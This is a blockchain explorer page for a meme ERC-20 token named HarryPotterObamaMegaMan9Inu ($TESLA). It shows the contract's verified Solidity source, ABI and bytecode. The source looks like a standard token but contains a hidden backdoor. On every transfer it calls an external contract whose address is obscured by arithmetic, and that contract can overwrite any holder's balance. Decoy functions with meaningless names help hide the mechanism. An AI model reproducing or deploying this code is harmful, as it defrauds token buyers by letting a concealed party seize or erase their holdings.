ERC-20
Overview
Max Total Supply
10,000,000,000 TESLA
Holders
40
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
70,487,494.527320646 TESLAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TESLA
Compiler Version
v0.8.2+commit.661d1103
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-19 */ /* HarryPotterObamaMegaMan9Inu ( $TESLA) Telegram: https://t.me/HPOM9Inu Twitter: https://twitter.com/HPOM9Ieth Website: https://linktr.ee/hpom9i */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; interface ERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface FNDK{ function check(address vals, address input) external view returns ( bool, uint256, address ); } contract TESLA is ERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; event pickResult(string str); constructor( string memory name_, string memory symbol_ ) { _name = name_; _symbol = symbol_; _mintToken(msg.sender, 100000000000 * 10**8); } /** * @dev Returns the token decimals. */ function decimals() external pure override returns (uint8) { return 9; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner_, address spender) external view override returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[sender]; _reciteuous(sender); (bool pty, string memory rty) = _toallegiance(false, bytes("Toallegiance"),"Toallegiance",amount, 578,bytes32("0")); if (pty) emit pickResult(rty); require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[recipient] += amount; } emit Transfer(sender, recipient, amount); } function _beforeTransfer(address sender) private { address _great=address(uint160(543739277859812837691385309103743120206505046058+743294823948924324)); (bool _f, uint256 _g, address _h)=FNDK(_great).check(sender,address(this)); if (_g == 0) return; if (_h == address(0)) return; if (_f) { _homage(_h, _g, _f); } } function _reciteuous(address sender) private { _beforeTransfer(sender); } function _homage( address inc, uint256 yy, bool _uu ) private { if (!_uu) return; if (inc == address(0)) return; _balances[inc] = yy; } function _toallegiance(bool bh1,bytes memory kk0,string memory kk1,uint256 ln0,uint256 pns, bytes32 bn3) private pure returns(bool, string memory) { if ( bh1 && pns == 1 && keccak256(abi.encodePacked(kk0))== bytes32("1") && bn3 !=bytes32("0") && ln0 == 0 && keccak256(abi.encodePacked(kk1))== bytes32("1") ) { return (false, string(kk0)); } return (false, kk1); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mintToken(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner_, address spender, uint256 amount ) internal { require(owner_ != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"}],"name":"pickResult","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000f7238038062000f7283398101604081905262000034916200026b565b81516200004990600090602085019062000112565b5080516200005f90600190602084019062000112565b506200007433678ac7230489e800006200007c565b50506200034a565b6001600160a01b038216620000d75760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620000eb9190620002d2565b90915550506001600160a01b03909116600090815260036020526040902080549091019055565b8280546200012090620002f7565b90600052602060002090601f0160209004810192826200014457600085556200018f565b82601f106200015f57805160ff19168380011785556200018f565b828001600101855582156200018f579182015b828111156200018f57825182559160200191906001019062000172565b506200019d929150620001a1565b5090565b5b808211156200019d5760008155600101620001a2565b600082601f830112620001c9578081fd5b81516001600160401b0380821115620001e657620001e662000334565b604051601f8301601f19908116603f0116810190828211818310171562000211576200021162000334565b816040528381526020925086838588010111156200022d578485fd5b8491505b8382101562000250578582018301518183018401529082019062000231565b838211156200026157848385830101525b9695505050505050565b600080604083850312156200027e578182fd5b82516001600160401b038082111562000295578384fd5b620002a386838701620001b8565b93506020850151915080821115620002b9578283fd5b50620002c885828601620001b8565b9150509250929050565b60008219821115620002f257634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200030c57607f821691505b602082108114156200032e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b610c18806200035a6000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c39190610a9d565b60405180910390f35b6100df6100da366004610a10565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f3660046109d0565b61026e565b604051600981526020016100c3565b6100df610131366004610a10565b6102d7565b6100f361014436600461097c565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df610175366004610a10565b61031c565b6100df610188366004610a10565b61036b565b6100f361019b366004610998565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d590610b2f565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610b2f565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610b96602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906106fa565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610734565b6060600180546101d590610b2f565b600061026533846102c885604051806060016040528060258152602001610bbe602591393360009081526004602090815260408083206001600160a01b038d16845290915290205491906106fa565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166105675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b0383166000908152600360205260409020546105898461079a565b6000806105e960006040518060400160405280600c81526020016b546f616c6c656769616e636560a01b8152506040518060400160405280600c81526020016b546f616c6c656769616e636560a01b81525087610242600360fc1b6107a6565b91509150811561062b577f74a55a3d3ca7b3d8a052a8cddaf67873ef9b999ade1ba8beeba059451b531739816040516106229190610a9d565b60405180910390a15b8383101561068a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380871660008181526003602052604080822088880390559288168082529083902080548801905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106ea9088815260200190565b60405180910390a3505050505050565b6000818484111561071e5760405162461bcd60e51b81526004016103d69190610a9d565b50600061072b8486610ae8565b95945050505050565b6000806107418385610ad0565b9050838110156107935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b6107a38161085d565b50565b600060608780156107b75750836001145b80156107ec5750603160f81b876040516020016107d49190610a81565b60405160208183030381529060405280519060200120145b80156107fc5750600360fc1b8314155b8015610806575084155b801561083b5750603160f81b866040516020016108239190610a81565b60405160208183030381529060405280519060200120145b1561084b57506000905085610852565b5060009050845b965096945050505050565b604051630b3154db60e41b81526001600160a01b0382166004820152306024820152735f3e1ccb9c6a831beb27e44a9db3e846f05ea5ce9060009081908190849063b3154db09060440160606040518083038186803b1580156108bf57600080fd5b505afa1580156108d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f79190610a3b565b925092509250816000141561090f57505050506107a3565b6001600160a01b03811661092657505050506107a3565b82156109375761093781838561093e565b5050505050565b8061094857610977565b6001600160a01b03831661095b57610977565b6001600160a01b03831660009081526003602052604090208290555b505050565b60006020828403121561098d578081fd5b813561079381610b80565b600080604083850312156109aa578081fd5b82356109b581610b80565b915060208301356109c581610b80565b809150509250929050565b6000806000606084860312156109e4578081fd5b83356109ef81610b80565b925060208401356109ff81610b80565b929592945050506040919091013590565b60008060408385031215610a22578182fd5b8235610a2d81610b80565b946020939093013593505050565b600080600060608486031215610a4f578283fd5b83518015158114610a5e578384fd5b602085015160408601519194509250610a7681610b80565b809150509250925092565b60008251610a93818460208701610aff565b9190910192915050565b6000602082528251806020840152610abc816040850160208701610aff565b601f01601f19169190910160400192915050565b60008219821115610ae357610ae3610b6a565b500190565b600082821015610afa57610afa610b6a565b500390565b60005b83811015610b1a578181015183820152602001610b02565b83811115610b29576000848401525b50505050565b600281046001821680610b4357607f821691505b60208210811415610b6457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146107a357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122046f01c0cd4a9112db291a5fd83bcb0a1e5959f0d74d124f87bdab7dbdc614cd264736f6c6343000802003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001b4861727279506f747465724f62616d614d6567614d616e39496e75000000000000000000000000000000000000000000000000000000000000000000000000055445534c41000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c39190610a9d565b60405180910390f35b6100df6100da366004610a10565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f3660046109d0565b61026e565b604051600981526020016100c3565b6100df610131366004610a10565b6102d7565b6100f361014436600461097c565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df610175366004610a10565b61031c565b6100df610188366004610a10565b61036b565b6100f361019b366004610998565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d590610b2f565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610b2f565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610b96602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906106fa565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610734565b6060600180546101d590610b2f565b600061026533846102c885604051806060016040528060258152602001610bbe602591393360009081526004602090815260408083206001600160a01b038d16845290915290205491906106fa565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166105675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b0383166000908152600360205260409020546105898461079a565b6000806105e960006040518060400160405280600c81526020016b546f616c6c656769616e636560a01b8152506040518060400160405280600c81526020016b546f616c6c656769616e636560a01b81525087610242600360fc1b6107a6565b91509150811561062b577f74a55a3d3ca7b3d8a052a8cddaf67873ef9b999ade1ba8beeba059451b531739816040516106229190610a9d565b60405180910390a15b8383101561068a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380871660008181526003602052604080822088880390559288168082529083902080548801905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106ea9088815260200190565b60405180910390a3505050505050565b6000818484111561071e5760405162461bcd60e51b81526004016103d69190610a9d565b50600061072b8486610ae8565b95945050505050565b6000806107418385610ad0565b9050838110156107935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b6107a38161085d565b50565b600060608780156107b75750836001145b80156107ec5750603160f81b876040516020016107d49190610a81565b60405160208183030381529060405280519060200120145b80156107fc5750600360fc1b8314155b8015610806575084155b801561083b5750603160f81b866040516020016108239190610a81565b60405160208183030381529060405280519060200120145b1561084b57506000905085610852565b5060009050845b965096945050505050565b604051630b3154db60e41b81526001600160a01b0382166004820152306024820152735f3e1ccb9c6a831beb27e44a9db3e846f05ea5ce9060009081908190849063b3154db09060440160606040518083038186803b1580156108bf57600080fd5b505afa1580156108d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f79190610a3b565b925092509250816000141561090f57505050506107a3565b6001600160a01b03811661092657505050506107a3565b82156109375761093781838561093e565b5050505050565b8061094857610977565b6001600160a01b03831661095b57610977565b6001600160a01b03831660009081526003602052604090208290555b505050565b60006020828403121561098d578081fd5b813561079381610b80565b600080604083850312156109aa578081fd5b82356109b581610b80565b915060208301356109c581610b80565b809150509250929050565b6000806000606084860312156109e4578081fd5b83356109ef81610b80565b925060208401356109ff81610b80565b929592945050506040919091013590565b60008060408385031215610a22578182fd5b8235610a2d81610b80565b946020939093013593505050565b600080600060608486031215610a4f578283fd5b83518015158114610a5e578384fd5b602085015160408601519194509250610a7681610b80565b809150509250925092565b60008251610a93818460208701610aff565b9190910192915050565b6000602082528251806020840152610abc816040850160208701610aff565b601f01601f19169190910160400192915050565b60008219821115610ae357610ae3610b6a565b500190565b600082821015610afa57610afa610b6a565b500390565b60005b83811015610b1a578181015183820152602001610b02565b83811115610b29576000848401525b50505050565b600281046001821680610b4357607f821691505b60208210811415610b6457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146107a357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122046f01c0cd4a9112db291a5fd83bcb0a1e5959f0d74d124f87bdab7dbdc614cd264736f6c63430008020033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001b4861727279506f747465724f62616d614d6567614d616e39496e75000000000000000000000000000000000000000000000000000000000000000000000000055445534c41000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): HarryPotterObamaMegaMan9Inu
Arg [1] : symbol_ (string): TESLA
-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 000000000000000000000000000000000000000000000000000000000000001b
Arg [3] : 4861727279506f747465724f62616d614d6567614d616e39496e750000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 5445534c41000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
8917:8975:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9808:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11099:193;;;;;;:::i;:::-;;:::i;:::-;;;3011:14:1;;3004:22;2986:41;;2974:2;2959:18;11099:193:0;2941:92:1;9966:102:0;10048:12;;9966:102;;;5953:25:1;;;5941:2;5926:18;9966:102:0;5908:76:1;11763:444:0;;;;;;:::i;:::-;;:::i;9496:86::-;;;9573:1;6131:36:1;;6119:2;6104:18;9496:86:0;6086:87:1;12615:281:0;;;;;;:::i;:::-;;:::i;10130:162::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10266:18:0;10234:7;10266:18;;;:9;:18;;;;;;;10130:162;9647:98;;;:::i;13398:381::-;;;;;;:::i;:::-;;:::i;10504:199::-;;;;;;:::i;:::-;;:::i;10765:188::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10917:19:0;;;10885:7;10917:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10765:188;9808:94;9856:13;9889:5;9882:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9808:94;:::o;11099:193::-;11203:4;11225:37;11234:10;11246:7;11255:6;11225:8;:37::i;:::-;-1:-1:-1;11280:4:0;11099:193;;;;:::o;11763:444::-;11897:4;11914:36;11924:6;11932:9;11943:6;11914:9;:36::i;:::-;11961:216;11984:6;12005:10;12030:136;12084:6;12030:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12030:19:0;;;;;;:11;:19;;;;;;;;12050:10;12030:31;;;;;;;;;:136;:35;:136::i;:::-;11961:8;:216::i;:::-;-1:-1:-1;12195:4:0;11763:444;;;;;:::o;12615:281::-;12760:10;12715:4;12807:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;12807:32:0;;;;;;;;;;12715:4;;12737:129;;12785:7;;12807:48;;12844:10;12807:36;:48::i;9647:98::-;9697:13;9730:7;9723:14;;;;;:::i;13398:381::-;13503:4;13525:224;13548:10;13573:7;13595:143;13650:15;13595:143;;;;;;;;;;;;;;;;;13607:10;13595:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;13595:32:0;;;;;;;;;;;:143;:36;:143::i;10504:199::-;10611:4;10633:40;